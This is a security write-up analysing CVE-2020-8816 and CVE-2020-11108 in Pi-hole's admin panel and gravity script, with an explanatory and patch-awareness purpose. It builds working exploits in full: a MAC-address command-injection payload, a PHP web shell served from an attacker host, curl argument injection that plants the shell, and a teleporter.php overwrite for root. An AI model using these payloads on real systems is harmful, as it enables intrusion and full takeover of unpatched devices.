Holes in the hole. Vulnerabilities in Pi-hole allow to seize control over Raspberry Pi

Three severe vulnerabilities have been recently discovered in Pi-hole, a popular app that blocks advertisement and unwanted scripts. Two of these vulnerabilities result in remote command execution, while the third one allows to escalate your privileges to root. Let’s examine the origin of these bugs and concurrently find out how to detect vulnerabilities in PHP code and Bash scripts.

Pi-hole is a combination of a DNS server and simple web interface used to configure the ad blocker and view statistics. The “Pi” prefix indicates that the software was originally developed for Raspberry Pi – although it can be installed on other hardware as well.

info

The CVE-2020-8816 vulnerability is caused by incorrect sanitization of a MAC address when it’s added to a list. A specially crafted MAC address enables the attacker to inject arbitrary commands into the program call string. The bug affects all Pi-hole versions up to and including 4.3.2.

The CVE-2020-11108 vulnerability allows to upload arbitrary files to the system’s web directory during the update of the Pi-hole’s Gravity script to version 4.4. For instance, the attacker can upload a PHP file containing malicious code. The error exists in the gravity_DownloadBlocklistFromUrl function located in the gravity.sh file. In addition, this error can be used in combination with the sudo rule for the user www-data to escalate privileges to superuser.

The vulnerabilities have been identified by American developer and IS researcher Nick Frichette and Canadian IS researcher François Renaud-Philippon.

Test system

The official Docker container with the Pi-hole distribution is available on GitHub. I will use version 4.3.2 for experiments with the vulnerabilities.

docker run --rm --name pihole --hostname pihole -p80:80 -p53:53 pihole/pihole:4.3.2

I run the program, and the admin web interface appears on port 80.

Pi-hole Admin Console
Pi-hole Admin Console

The password will be generated and displayed in the console when you start the container for the first time.

Pi-hole generates admin password when you start the container
Pi-hole generates admin password when you start the container

Then I download the admin panel source code from GitHub (ZIP), and the test system is ready.

RCE through MAC address

First of all, I have to examine the source code of the app. To check the possibility of RCE, I search the PHP code for functions enabling me to execute arbitrary code. I use PHPStorm and the following regular expressions.

(exec|passthru|system|shell_exec|popen|proc_open|pcntl_exec)\s*\(

It’s not perfect but sufficient for a quick search.

Searching for code execution functions in Pi-hole
Searching for code execution functions in Pi-hole

As you can see, a bunch of interesting items have been found. Let’s examine them in more detail.

The savesettings.php file contains business logic of the Settings section; each tab in this section is represented by a separate code branch.

scripts/pi-hole/php/savesettings.php
216: // Process request
217: switch ($_POST["field"]) {
218: // Set DNS server
219: case "DNS":
...
383: case "API":
...
548: case "DHCP":
Settings page in the Pi-hole web interface
Settings page in the Pi-hole web interface

The DHCP tab is of utmost interest: it contains a suspicious call to the exec function.

scripts/pi-hole/php/savesettings.php
548: case "DHCP":
549:
550: if(isset($_POST["addstatic"]))
551: {
552: $mac = $_POST["AddMAC"];
553: $ip = $_POST["AddIP"];
554: $hostname = $_POST["AddHostname"];
...
605: exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);

As you can see, the pihole utility is called, and the AddMAC, AddIP, and AddHostname values from the POST request are passed as its command line parameters. Therefore, my first idea is to inject an arbitrary command using && or ||. However, the variables undergo some validations prior to execution. Let’s examine them starting with IP.

scripts/pi-hole/php/savesettings.php
562: if(!validIP($ip) && strlen($ip) > 0)
563: {
564: $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";
565: }

In addition to the two regular expressions, the validation is performed by the filter_var function embedded in PHP with the FILTER_VALIDATE_IP option.

scripts/pi-hole/php/savesettings.php
14: function validIP($address){
15: if (preg_match('/[.:0]/', $address) && !preg_match('/[1-9a-f]/', $address)) {
16: // Test if address contains either `:` or `0` but not 1-9 or a-f
17: return false;
18: }
19: return !filter_var($address, FILTER_VALIDATE_IP) === false;
20: }

Too bad, there is no chance to inject arbitrary characters there. What about hostname?

scripts/pi-hole/php/savesettings.php
567: if(!validDomain($hostname) && strlen($hostname) > 0)
568: {
569: $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";
570: }

Three regular expressions are present there. The first one prohibits any characters, except for digits, a-z, dot, minus, and underline; others check the string length.

scripts/pi-hole/php/savesettings.php
36: function validDomain($domain_name)
37: {
38: $validChars = preg_match("/^([_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([a-z\d])*)*$/i", $domain_name);
39: $lengthCheck = preg_match("/^.{1,253}$/", $domain_name);
40: $labelLengthCheck = preg_match("/^[^\.]{1,63}(\.[^\.]{1,63})*$/", $domain_name);
41: return ( $validChars && $lengthCheck && $labelLengthCheck ); //length of each label
42: }

Again, no way to inject arbitrary characters there.

How about the MAC address?

scripts/pi-hole/php/savesettings.php
556: if(!validMAC($mac))
557: {
558: $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
559: }
scripts/pi-hole/php/savesettings.php
53: function validMAC($mac_addr)
54: {
55: // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
56: return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
57: }

Finally, I am lucky. The regular expression states that the string must contain 6 pairs of English characters and digits that can either be separated by a colon or not. However, the start and end characters are not specified. This means that one occurrence of this regular expression will suffice, and aside from it, I can specify whatever I want.

Incorrect regular expression in Pi-hole that checks the MAC address validity
Incorrect regular expression in Pi-hole that checks the MAC address validity

Still, there is a slight problem here.

scripts/pi-hole/php/savesettings.php
560: $mac = strtoupper($mac);

All letters in the string containing a MAC address are converted to uppercase. As you are aware, commands in Linux are case-sensitive; so, I cannot simply inject an arbitrary command. Fortunately, the shell in Linux is very flexible and it won’t be difficult to bypass this restriction. If the exec function were using thebash interpreter to execute commands, then the solution would be very simple: a construct in the $ {VAR ,,} format has been introduced in Bash starting with version 4; it changes the case of letters to lowercase in the value of a variable. But exec uses /bin/sh.

Changing the letter case in Bash; an error occurs when the same construct is processed in sh,
Changing the letter case in Bash; an error occurs when the same construct is processed in sh,

I don’t fall into despair because I have environment variables as well. For instance, the famous $PATH variable consists of uppercase letters and contains numerous lowercase characters. I add a new entry whose MAC address is 000000000000$PATH to see the content of this environment variable.

Adding a new entry to DHCP; PATH environment variable is injected into its MAC address
Adding a new entry to DHCP; PATH environment variable is injected into its MAC address

By default, it looks as follows in the container:

/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

To avoid assembling the required command from these letters, I use php because its local functions are case-insensitive. My payload is shown below:

php -r 'exec(strtolower("echo 1 > /tmp/owned"));'

To exclude any character-related problems in long commands, the hex2bin function can be used instead of strtolower; but for my payload, it will suffice.

I need the p, h, and r characters. To get them, I am going to use characters that replace and delete substrings. The p character is in the third position. The A=${PATH#??} construct removes the first two characters, and the following substring remains in the A variable:

pt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Now I have to remove from it everything except for the first character. For this purpose, I use the P=${A%${A#?}} construct.

Time to get h. It’s in the eighth position; so, I remove the first seven characters with A=${PATH#???????}. Then I leave only the first character in the substring using the above-mentioned H=${A%${A#?}} construct.

Finally, I need r. I remove all characters starting from the first slash and until the first colon plus three characters: A=${PATH#/*:???}. As a result, I get the following substring:

r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Again, I leave only the first character: R=${A%${A#?}}.

www

More information on manipulations with strings, including practical examples, can be found in the Bash manual.

Then I put my constructs together:

A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};

Now the $P, $H, and $R variables contain lowercase letters p, h, and r.

Creating the php -r command from the PATH environment variable
Creating the php -r command from the PATH environment variable

Time to create the main payload.

000000000000;A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};$P$H$P -$R 'exec(strtolower("echo 1 > /tmp/owned"));';

I send it as a MAC address and see the owned file in the /tmp directory.

Remote command execution in Pi-hole through the insertion of commands into a MAC address
Remote command execution in Pi-hole through the insertion of commands into a MAC address

The same problem occurs in the function that removes the existing MAC address.

scripts/pi-hole/php/savesettings.php
611: if(isset($_POST["removestatic"]))
612: {
613: $mac = $_POST["removestatic"];
614: if(!validMAC($mac))
615: {
616: $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
617: }
...
618: $mac = strtoupper($mac);
...
622: exec("sudo pihole -a removestaticdhcp ".$mac);

The developers have fixed this bug in version 4.3.3; now the MAC address is filtered using the built-in filter_var function, Also, a new function, formatMAC, has been added: it returns only the found substring containing the MAC address.

v4.3.3/scripts/pi-hole/php/savesettings.php
53: function validMAC($mac_addr)
54: {
55: // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
56: return !filter_var($mac_addr, FILTER_VALIDATE_MAC) === false;
57: }
58:
59: function formatMAC($mac_addr)
60: {
61: preg_match("/([0-9a-fA-F]{2}[:]){5}([0-9a-fA-F]{2})/", $mac_addr, $matches);
62: if(count($matches) > 0)
63: return $matches[0];
64: return null;
65: }

However, some vulnerable spots still remain in the program.

RCE by adding malicious URL to block list

Let’s get back to the pihole utility. Pihole is a Bash script that performs plenty of operations; for instance, it adds and removes domains from black- and whitelists and downloads domain block lists. The default path to the utility is: /usr/local/bin/pihole.

Location of the pihole utility
Location of the pihole utility

I go to the Blocklist tab in the Settings section.

Blocklist tab in the Settings section of Pi-hole web interface
Blocklist tab in the Settings section of Pi-hole web interface

Using this form, you can add links to domain block lists. The form initially contains some addresses, but I removed them to simplify the testing. When you add an address and click on the Save and Update button, the PHP script calls pihole.

scripts/pi-hole/php/savesettings.php
701: case "adlists":
...
722: if(strlen($_POST["newuserlists"]) > 1)
723: {
724: $domains = array_filter(preg_split('/\r\n|[\r\n]/', $_POST["newuserlists"]));
725: foreach($domains as $domain)
726: {
727: exec("sudo pihole -a adlist add ".escapeshellcmd($domain));
728: }
729: }

The domain value from the POST request is transmitted as the command line parameters. This value is written to the file /etc/pihole/adlists.list. To see the script execution details, enable the -x flag in the bash interpreter.

bash -x pihole -a adlist add http://ya.ru

First of all, the parameters are parsed.

pihole
443: case "${1}" in
...
463: "-a" | "admin" ) webpageFunc "$@";;

Because the -a key was sent, webpageFunc is called.

pihole
27: webpageFunc() {
28: source "${PI_HOLE_SCRIPT_DIR}/webpage.sh"
29: main "$@"
30: exit 0
31: }
Debugging the pihole script. The webpageFunc function is called
Debugging the pihole script. The webpageFunc function is called

At this point, the execution is transferred to the main function and then to CustomizeAdLists because the adlist argument was specified.

advanced/Scripts/webpage.sh
567: main() {
568: args=("$@")
...
594: "adlist" ) CustomizeAdLists;;
Debugging the pihole script. The main and CustomizeAdLists functions are called
Debugging the pihole script. The main and CustomizeAdLists functions are called

Depending on the action type, the transmitted domain can be enabled, disabled, removed, or added to the list in CustomizeAdLists; then the block list is loaded from `CustomizeAdLists.

advanced/Scripts/webpage.sh
396: CustomizeAdLists() {
397: list="/etc/pihole/adlists.list"
...
403: elif [[ "${args[2]}" == "add" ]]; then
404: if [[ $(grep -c "^${args[3]}$" "${list}") -eq 0 ]] ; then
405: echo "${args[3]}" >> ${list}
Debugging the pihole script. CustomizeAdLists adds a new domain to the block list
Debugging the pihole script. CustomizeAdLists adds a new domain to the block list

After the execution of pihole, the result is returned to the PHP script; if you have pressed the Save and Update button, then the browser will redirect you to the Update Gravity page.

settings.php
36: <?php // Check if ad lists should be updated after saving ...
37: if (isset($_POST["submit"])) {
38: if ($_POST["submit"] == "saveupdate") {
39: // If that is the case -> refresh to the gravity page and start updating immediately
40: ?>
41: <meta http-equiv="refresh" content="1;url=gravity.php?go">
42: <?php }
43: } ?>

And this is where the update of the block lists starts.

gravity.php
28: <script src="scripts/pi-hole/js/gravity.js"></script>
scripts/pi-hole/js/gravity.js
59: $(function(){
...
64: // Do we want to start updating immediately?
65: // gravity.php?go
66: var searchString = window.location.search.substring(1);
67: if(searchString.indexOf("go") !== -1)
68: {
69: $("#gravityBtn").attr("disabled", true);
70: eventsource();
71: }

The control passes to the gravity.sh.php script.

scripts/pi-hole/js/gravity.js
07: function eventsource() {
...
18: var source = new EventSource("scripts/pi-hole/php/gravity.sh.php");

At this point, the pihole utility is called again.

scripts/pi-hole/php/gravity.sh.php
33: $proc = popen("sudo pihole -g", 'r');
34: while (!feof($proc)) {
35: echoEvent(fread($proc, 4096));
36: }

As the file name (gravity.sh.php) indicates, the script is used as a wrap for gravity.sh.

pihole
443: case "${1}" in
...
452: "-g" | "updateGravity" ) updateGravityFunc "$@";;

The control passes to gravity.sh.

pihole
71: updateGravityFunc() {
72: "${PI_HOLE_SCRIPT_DIR}"/gravity.sh "$@"
73: exit $?
74: }
Debugging the pihole script. The updateGravity function is called
Debugging the pihole script. The updateGravity function is called

The script is pretty large; if you want to review its execution in detail, use the -x key.

bash -x /opt/pihole/gravity.sh -g

At some point, the gravity_GetBlocklistUrls function is called, which is of utmost interest.

gravity.sh
648: gravity_GetBlocklistUrls

The file /etc/pihole/adlists.list is parsed, and the list of source domains that must be visited to obtain block lists is produced.

gravity.sh
157: gravity_GetBlocklistUrls() {
...
168: mapfile -t sources <<< "$(grep -v -E "^(#|$)" "${adListFile}" 2> /dev/null)"
...
170: # Parse source domains from $sources
171: mapfile -t sourceDomains <<< "$(
172: # Logic: Split by folder/port
173: awk -F '[/:]' '{
174: # Remove URL protocol & optional username:password@
175: gsub(/(.*:\/\/|.*:.*@)/, "", $0)
176: if(length($1)>0){print $1}
177: else {print "local"}
178: }' <<< "$(printf '%s\n' "${sources[@]}")" 2> /dev/null
179: )"
Debugging the gravity.sh script. The gravity_GetBlocklistUrls function is called
Debugging the gravity.sh script. The gravity_GetBlocklistUrls function is called

Time to configure the settings prior to downloading the block lists. This is done in the gravity_SetDownloadOptions function.

gravity.sh
649: if [[ "${haveSourceUrls}" == true ]]; then
650: gravity_SetDownloadOptions
651: fi
gravity.sh
194: gravity_SetDownloadOptions() {
195: local url domain agent cmd_ext str
...
200: for ((i = 0; i < "${#sources[@]}"; i++)); do
201: url="${sources[$i]}"
202: domain="${sourceDomains[$i]}"

The block lists are downloaded when the gravity_DownloadBlocklistFromUrl function is called.

gravity.sh
217: if [[ "${skipDownload}" == false ]]; then
218: echo -e " ${INFO} Target: ${domain} (${url##*/})"
219: gravity_DownloadBlocklistFromUrl "${url}" "${cmd_ext}" "${agent}"
220: echo ""
221: fi

The download is performed using curl.

gravity.sh
227: gravity_DownloadBlocklistFromUrl() {
228: local url="${1}" cmd_ext="${2}" agent="${3}" heisenbergCompensator="" patternBuffer str httpCode success=""
...
274: cmd_ext="--resolve $domain:$port:$ip $cmd_ext"
...
277: httpCode=$(curl -s -L ${cmd_ext} ${heisenbergCompensator} -w "%{http_code}" -A "${agent}" "${url}" -o "${patternBuffer}" 2> /dev/null)

This piece of code deserves special attention. Let’s examine the curl command in more detail. After being cleared from all extra elements, the command looks as follows:

curl ${cmd_ext} ${heisenbergCompensator} "${url}" -o "${patternBuffer}"

As you can see, the cmd_ext and heisenbergCompensator variables aren’t surrounded by quotation marks; therefore, it’s potentially possible to inject something there. The heisenbergCompensator variable is formed from saveLocation.

info

A cultural reference: this variable is named after the Heisenberg Compensator, a fictitious device able to overcome the Uncertainty Principle. It is mentioned in Star Trek: Deep Space Nine as a component of the teleportation system.

gravity.sh
234: if [[ -r "${saveLocation}" && $url != "file"* ]]; then
...
238: heisenbergCompensator="-z ${saveLocation}"
239: fi

saveLocation is initialized in the gravity_SetDownloadOptions function.

gravity.sh
194: gravity_SetDownloadOptions() {
...
201: url="${sources[$i]}"
202: domain="${sourceDomains[$i]}"
...
205: saveLocation="${piholeDir}/list.${i}.${domain}.${domainsExtension}"
206: activeDomains[$i]="${saveLocation}"

As you can see, here is a variable that can be controlled: domain. Now let’s get back to the savesettings.php file where the domain block list is created.

scripts/pi-hole/php/savesettings.php
722: if(strlen($_POST["newuserlists"]) > 1)
723: {
724: $domains = array_filter(preg_split('/\r\n|[\r\n]/', $_POST["newuserlists"]));
725: foreach($domains as $domain)
726: {
727: exec("sudo pihole -a adlist add ".escapeshellcmd($domain));
728: }
729: }

Note that the correctness of the transmitted domain name is not verified. Only the escapeshellcmd function is present: it escapes any characters in a string that might be used to trick a shell command into executing arbitrary code. In other words, I potentially can transmit a string with spaces and additional arguments for curl as a domain.

Curl has several keys that can be exploited. In this case, -o will be very useful as it allows to save the entire output in a file. But the command already includes the flag -o "${patternBuffer}". Fortunately, curl is OK with the second flag: the command will give priority to the first flag it encounters. Therefore, the command curl -o first -o second -o third http://ya.ru will write only the first string to the file.

Priorities of the -o flag in curl
Priorities of the -o flag in curl

The procedure used to add data from url to the block list is as follows. When gravity.sh is run for the first time, the script checks whether a file with the name from the saveLocation variable exists. For instance, if I add http://ya.ru, the file name will be list.0.ya.ru.domains.

The saveLocation variable is created during the execution of the gravity.sh script
The saveLocation variable is created during the execution of the gravity.sh script

Then curl is executed and saves the data retrieved from this URL to a temporary file.

++ curl -s -L -w '%{http_code}' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' http://ya.ru -o /tmp/tmp.YRfmrUcFcb.phgpb
Debugging gravity.sh. The curl command saves the page content to a temporary file
Debugging gravity.sh. The curl command saves the page content to a temporary file

If the server responds 200 (Ok), then the data are sent to the gravity_ParseFileIntoDomains function.

gravity.sh
277: httpCode=$(curl -s -L ${cmd_ext} ${heisenbergCompensator} -w "%{http_code}" -A "${agent}" "${url}" -o "${patternBuffer}" 2> /dev/null)
...
290: case "${httpCode}" in
291: "200") echo -e "${OVER} ${TICK} ${str} Retrieval successful"; success=true;;
...
307: if [[ "${success}" == true ]]; then
...
313: gravity_ParseFileIntoDomains "${patternBuffer}" "${saveLocation}"

The temporary file gets a new name that is taken from the saveLocation variable.

gravity.sh
329: gravity_ParseFileIntoDomains() {
330: local source="${1}" destination="${2}" firstLine abpFilter
...
381: output=$( { mv "${source}" "${destination}"; } 2>&1 )
Debugging gravity.sh. The temporary file is renamed
Debugging gravity.sh. The temporary file is renamed

After the script execution, the file appears in the /etc/pinhole directory.

File with the content of the ya.ru page appears after the execution of the gravity.sh script
File with the content of the ya.ru page appears after the execution of the gravity.sh script

I run the gravity.sh script again. Now that the file exists, heisenbergCompensator and the -z flag are added to curl.

heisenbergCompensator='-z /etc/pihole/list.0.ya.ru.domains'
When gravity.sh is run for the second time, it uses the heisenbergCompensator variable to build arguments for curl
When gravity.sh is run for the second time, it uses the heisenbergCompensator variable to build arguments for curl

As a result, curl is called as follows:

curl -s -L -z /etc/pihole/list.0.ya.ru.domains -w '%{http_code}' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' http://ya.ru -o /tmp/tmp.EbjhVz4huF.phgpb

Now I have to create a correct payload. I will also need a server to return 200 and the code I want to execute. So, I write a simple shell in PHP.

shell.php
<?php
echo system($_GET["c"]);

Then I deploy a server that will return this shell in response to any request. I use http.server for this purpose.

serv.py
01: import http.server
02: import socketserver
03: import sys
04:
05: class MyHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
06: def do_GET(self):
07: self.path = 'shell.php'
08: return http.server.SimpleHTTPRequestHandler.do_GET(self)
09:
10: handler_object = MyHttpRequestHandler
11: my_server = socketserver.TCPServer(("192.168.99.1", 80), handler_object)
12: try:
13: print("Server started.")
14: my_server.serve_forever()
15: except KeyboardInterrupt:
16: print("Shutting down...")
17: my_server.socket.close()
18: sys.exit(0)
19:
A simple Python web server that returns my shell
A simple Python web server that returns my shell

In addition, curl must make requests to the server and ignore other parameters that I am going to add for exploitation purposes. The # character will help me in this.

http://192.168.99.1#

I set the -o flag and specify the file name as a parameter.

http://192.168.99.1# -o shell.php

Then I add this string as an URL.

Gravity is run with payload
Gravity is run with payload

I see that my request was received by the server, the file has been successfully created, and it contains the payload. Fortunately, the file name format in Linux is very flexible, and such a string won’t create any problems.

I run Gravity again.

Gravity is run again with payload disguised as an URL
Gravity is run again with payload disguised as an URL

My arguments have been added; however, the .domains substring in the file extension creates problems. I have to get rid of it somehow.

curl -s -L -z /etc/pihole/list.0.192.168.99.1# -o shell.php.domains -w '%{http_code}' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' 'http://192.168.99.1# -o shell.php' -o /tmp/tmp.cjh4aohrRE.phgpb
The shell was created with an additional extension (.domains) that must be removed
The shell was created with an additional extension (.domains) that must be removed

Curl has plenty of flags; so, I have several variants to choose from. The easiest way is to add another -z flag – so that .domains will be used as a time marker. Of course, this marker will be incorrect, but this is not important for my purposes.

http://192.168.99.1# -o shell.php -z

I transmit my payload as an URL and get a shell on the server.

Manipulations with URLs in Gravity make it possible to inject a shell into Pi-hole
Manipulations with URLs in Gravity make it possible to inject a shell into Pi-hole

It works fine in the console, but to add this payload as an URL in a web form, additional quotation marks are required.

http://192.168.99.1#" -o shell.php -z"

The quotation marks are required for the pihole script that must treat my payload as a single parameter, not multiple parameters; they will be removed during the addition of the URL. After a successful exploitation, the shell will be located at the following address: http://pihole.vh/admin/scripts/pi-hole/php/shell.php?c=uname%20-a.

RCE as a result of the addition of a precrafted URL to the block list
RCE as a result of the addition of a precrafted URL to the block list

Privilege escalation to root

As you remember, I used sudo to call the pihole utility in PHP. Too bad, the user www-data cannot use sudo without the password.

Sudo rules for the user www-data in Pi-hole
Sudo rules for the user www-data in Pi-hole

After examining the scripts for some time, I stumble upon the Teleporter function located in the file webpage.sh.

advanced/Scripts/webpage.sh
540: Teleporter() {
541: local datetimestamp=$(date "+%Y-%m-%d_%H-%M-%S")
542: php /var/www/html/admin/scripts/pi-hole/php/teleporter.php > "pi-hole-teleporter_${datetimestamp}.tar.gz"
543: }
...
567: main() {
568: args=("$@")
569:
570: case "${args[1]}" in
...
593: "-t" | "teleporter" ) Teleporter;;

This function is called from pihole when the -a flag is set.

pihole
027: webpageFunc() {
028: source "${PI_HOLE_SCRIPT_DIR}/webpage.sh"
029: main "$@"
030: exit 0
031: }
...
443: case "${1}" in
...
463: "-a" | "admin" ) webpageFunc "$@";;

It gives me an easy way to escalate my privileges! Using the previous exploit, I overwrite the teleporter.php file, add the required commands to it, and call it using the sudo -a -t command.

teleporter.php
1: <?php
2: system('id > id.txt');
Escalating privileges in Pi-hole to superuser
Escalating privileges in Pi-hole to superuser

Semiautomated versions of the exploits are available in the Nick Frichette’s repository.

Vulnerability demonstration (video)

Conclusions

Too bad, but such severe problems often occur even in major commercial projects. Of course, to successfully exploit these vulnerabilities, you have to be an authorized user – but I have no doubt that an XSS or CSRF making it possible to gain control over the system in one click can be found online.

If you use Pi-hole, check for updates on a regular basis and always use the latest distribution. Unfortunately, the program does not update itself automatically, but a special panel on the page footer notifies you when new versions become available.

Panel showing available updates for Pi-hole components
Panel showing available updates for Pi-hole components

A few months ago, a major update, version 5.0, has been released. Hopefully, it makes Pi-hole a secure program.


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>